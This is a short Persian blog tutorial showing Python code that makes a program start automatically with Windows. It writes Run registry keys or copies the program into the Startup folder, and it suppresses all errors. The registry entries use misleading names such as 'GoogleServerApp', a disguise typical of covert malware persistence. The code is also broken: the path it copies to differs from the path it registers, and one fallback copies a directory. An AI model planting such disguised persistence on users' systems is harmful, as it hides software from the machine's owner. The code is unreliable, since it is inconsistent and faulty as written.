کپی برنامه در startup با پایتون
سلاممممممی دیگر به بروبچ سایت maker32 ==/ -_-\==
امروز می خوایم با هم یا بگیریم چجوی برناممون رو تو استارتآپ کپی کنیم که هر وقت سیستم رو ریستارت کردیم برناممون خودکار اجر بشه!
این کار کلا با ریجستریه :)
try:
import _winreg, os, shutil
shutil.copy2('اسم برنامتون', 'C:\\StartUp.py')
aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
aKey = _winreg.OpenKey(aReg,r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)
_winreg.SetValueEx(aKey,"GoogleServerS",0,_winreg.REG_SZ,"C:\\SecurityP.py")
except:
try:
import winreg as reg
key = reg.OpenKey(reg.HKEY_CURRENT_USER , "Software\Microsoft\Windows\CurrentVersion\Run" ,0 , reg.KEY_ALL_ACCESS)
reg.SetValueEx(key ,"GoogleServerApp" , 0 , reg.REG_SZ , __file__)
reg.CloseKey(key)
except:
try:
from getpass import getuser
import os
path = os.getcwd()
username = getuser()
startup = 'C:\\Users\\"{}"\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(username)
shutil.copy2(path, startup)
except:
pass
بچه ها این برنامه ار سه تا بخش تشکیل شده که هر کدوم نتونست می ره بعدیو انجام میده ( امیدوارم فهمیده باشید چی گفتم :/ )
اولیه می ازه تو درایو C بعد رو ریجستری دومی مستقیم می ندازه رو ریجستری رو سومی میندازه رو پوشه استارت :)
اول از همه اومدیم برنامه مون رو توی try: گذاشتیم که اگه برنامه نتونست ارور نده و به کار خودش ادامه بده ( می تونه ;)
اومدیم و کتابخونه ریجستری رو اضافه کردیم به پروژمون و اسمش رو مخفف کردیم به reg
بعد اومدیم مسیر استارت آپ رو باز کردیم
و توش مسیر و تنظیمات فعلی برناممون رو نوشتیم و در آخر هم بستیم (ذخیره کردیم)
خدافظ
- ۰۱/۰۶/۰۷
اگر قبلا در بیان ثبت نام کرده اید لطفا ابتدا وارد شوید، در غیر این صورت می توانید ثبت نام کنید.